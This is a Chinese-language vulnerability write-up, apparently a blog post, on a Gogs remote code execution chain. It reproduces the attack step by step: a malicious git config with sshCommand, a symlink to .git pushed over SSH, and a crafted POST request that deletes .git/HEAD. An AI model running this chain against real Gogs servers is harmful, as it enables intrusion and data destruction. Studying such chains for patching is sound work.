Gogs背景介紹
Gogs(Go Git Service)是一款用Go語言編寫的輕量級、開源的Git倉庫托管系統。它的設計目標是讓搭建和維護Git服務變得簡單、快速,同時提供類似GitHub的功能,但對資源消耗更少,適合個人或者小型團隊使用,支持注冊(所有注冊功能開放,就可以在合法情況下,測試這個漏洞)。
Gogs的核心是托管Git倉庫,通過其 Web 界面和 API 為用戶提供友好的操作體驗。簡單來說,它的工作流程包括:
- 倉庫管理:用戶在Gogs中創建、克隆、推送或拉取Git倉庫,倉庫存儲在服務器的文件系統或數據庫中。
- 用戶認證:支持多種登錄方式,包括本地賬號、LDAP、OAuth等,確保權限控制。
- Web界面交互:用戶通過Web界面或API進行倉庫管理、代碼瀏覽、Issue跟蹤、Pull Request等操作。
- Git協議處理:Gogs監聽Git協議(如SSH、HTTP/HTTPS),處理用戶的git clone、push等請求,將操作同步到倉庫存儲。
- 后端服務:Gogs的后端實現了各種功能模塊,包括用戶管理、權限控制、通知、Wiki等。
也就是說它背后是通過git命令來進行倉庫的管理的。
Git的秘密
首先git不僅僅可以進行代碼、倉庫的管理,它其實也是可以進行本地命令執行的,這也是這個漏洞最后的sink點。來看看git是如何進行命令執行的。
當提交執行git命令的時候,也就是執行 git <command>的時候,Git解析命令并定位到對應可執行文件,其中在.git目錄下有一個config文件,用來進行倉庫配置。
當在config的[core] 核心配置中有含有sshCommand的時候就會進行本地的命令執行。
以下是惡意的config配置內容。
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = echo test > /tmp/poc
[remote "origin"]
url = [git@github.com](test:git@github.com):test/linux.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
可以進行一下實驗,將原來.git目錄下的config文件內容修改為我們的惡意配置,然后再通過gogs webui 進行倉庫的一些修改,使其后端執行git命令。
在提交變更之后命令執行了 并且web ui也報錯了,因為原始config文件被修改了,無法正常操作倉庫了,不過命令是執行了,這是我們的目的。至于為什么我只是echo test 后面卻跟了一串其他內容 這應該是sshCommand的一些知識了,這里不做深究。
雖然git可以進行命令執行了,但是我們要想通過gogs系統進行命令執行的話,還需要配合文件寫入漏洞,使得可以修改.git/config文件的內容導致命令執行。歷史上gogs是也是有這個漏洞的。
但是今年爆的這個漏洞是通過任意文件刪除造成的命令執行,這里就需要引出git的另一個機制了。git在提交命令的時候,之前說了會去看.git目錄下的文件,只有滿足一些條件的時候,git才會將其該目錄識別為標準倉庫,才會去執行config中的命令,然而當我們刪除了一個HEAD文件或是其他需要匹配的文件時,Git不再將該目錄識別為標準倉庫,轉而會去向上尋找根目錄,去判斷根目錄是否符合標準倉庫,那么如果根目錄符合git的匹配規則,讓其認為是標準倉庫目錄,該目錄下放了我們的惡意config,那么就會造成命令執行了。所以我們需要通過任意文件刪除漏洞來刪除原始.git目錄下的一些文件,來破壞其原有的文件完整性。
另類任意文件刪除
通常我們所見的任意文件刪除,是通過目錄穿越 ../../這樣進行的,實際上在<0.13.1的gogs中也有用到一些目錄穿越,在>=0.13.1的時候似乎修復了。
而最新的gogs任意文件刪除,使用的并不是這樣的目錄穿越,這時候就需要引入另外一個技巧了,叫符號鏈接
符號鏈接(軟鏈接)是Linux文件系統中的特殊文件類型,其本質是指向另一個文件/目錄的快捷方式。
創建符號鏈接的命令如下
ln -s <目標路徑> <鏈接名稱>
案例如下
# 攻擊者創建惡意鏈接
ln -s /etc/passwd malicious-link# 程序執行刪除操作(以用戶提供路徑為參數)
delete_file("malicious-link") # 實際刪除/etc/passwd!
如果是這樣創建符號鏈接呢
ln -s .git true_git_dir
我們在使用gogs刪除文件時刪除true_git_dir/HEAD 原始.git目錄完整性被破壞就會向上級目錄找
而上級目錄其實就是我們可以正常上傳的倉庫文件,如果文件是符合條件的那么就可以達到我們之前想要的效果了。
當然有人會問為什么不直接刪除.git/HEAD 因為之前其他漏洞修復已經對.git進行了過濾 以阻止直接刪除.git目錄,轉而需要引用符號鏈接來繞過防護,所以實際上最新的gogs RCE是之前的繞過
如何上傳symlink
那么我們既然要上傳一個符號鏈接文件,需要用到git去push到倉庫中去 可以用http也可以用ssh,我這里用ssh
首先添加ssh公鑰 即id_rsa.pub(系統支持注冊賬號,測試人員可以注冊賬號測試漏洞0.0)
添加之后就可以正確對倉庫進行git操作了
不添加會報錯如下
然后本地攻擊機(kali)創建一個符號鏈接,一定要用linux系統,創建符號鏈接,然后push到倉庫,因為linux的符號鏈接在windows上處理不了,這也是個坑當我嘗試把linux的符號鏈接文件復制到windows的時候發送如下提示。
那么我們在linux 攻擊機上面執行如下命令
ssh://git@192.168.11.61:10022/admin1/tset.git
cd tset
ln -s .git true_git_dir
git add true_git_dir
git push origin master
至此成功向倉庫上傳了一個symlink文件
如果想在windows上面去post上傳一個symlink文件是不行的,即使把linux上的符號鏈接文件下載下來,上傳上去,由于經過了windows的處理導致它不再是linux symlink文件而只是普通文件了,所以也是不行的,真正上傳符號鏈接文件之后這里的icon如圖所示。
不過只有這個符號鏈接,倉庫里的文件并不符合標準倉庫目錄的匹配,我們需要當前倉庫目錄樹 形如下
malicious-repo/
├── HEAD # 根目錄下的HEAD
├── config # 根目錄下的惡意config
├── refs/heads/ # 分支引用
├── objects/... # 空對象目錄
├── info/... # 其他元數據
├── .git/... # 原始.git目錄(后續將被破壞)
└── README.md # 偽裝文件
我們可以自己在github上面創建一個這樣的項目(文件的內容也需要符號git的規則,可以隨便拉一個項目然后修改它的.git目錄,項目里一般都有這些文件) 然后git clone到本地 添加符號鏈接然后 push到gogs上面
漏洞觸發
目錄已經構造好了,接下來我們要破壞原始.git目錄的完整性了 也就是需要刪除.git/HEAD
(測試發現沒有 description 和 index也是可以的)
當然這里config中的內容需要是惡意的
我們隨便刪一個文件 然后抓包(不是真的刪)
然后修改為如下url:http://192.168.11.61:10880/admin1/tset/_delete/master/true_git_dir/HEAD即指向的是.git下的HEAD而不是當前倉庫里的HEAD 然后右邊就會提示刪除時發生了錯誤
原因也很簡單,因為原始git目錄的HEAD被成功刪除,完整性被破壞,執行git命令的時候也就報錯,最終再ui上體現如截圖所示
POST /admin1/tset/_delete/master/true_git_dir/HEAD HTTP/1.1
Host: 192.168.11.61:10880
Content-Type: application/x-www-form-urlencoded
Cookie: lang=zh-CN; i_like_gogs=e4273ca0fe129938; gogs_awesome=admin1; gogs_incredible=7adbdcb1e2749458125bfb817c73c1e3802f77ed88e79a11d1a0c6561cfa06b064ae
Content-Length: 130_csrf=H3SRKyUjzJsxUgTJqttujDb4s4Q6MTc1MTcwODYxNjQ3MDk2MjA5MA&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=
然后我們在隨便找個提交的地方 提交一下,使得后端能夠執行git命令觸發漏洞
當然也是會報錯的
不過命令也已經正常執行了
至此漏洞講解完了,這個漏洞很巧妙的將git機制、符號鏈接、任意文件刪除漏洞用到了極致。
測試過程中的版本確定
在合法測試過程中可以通過報錯來判斷版本是否滿足漏洞版本 這里嘗試通過符號鏈接去測試任意文件讀取,不過這個有對符號鏈接的過濾導致無法任意文件讀取,然后就報500了,下面也是將版本號泄露了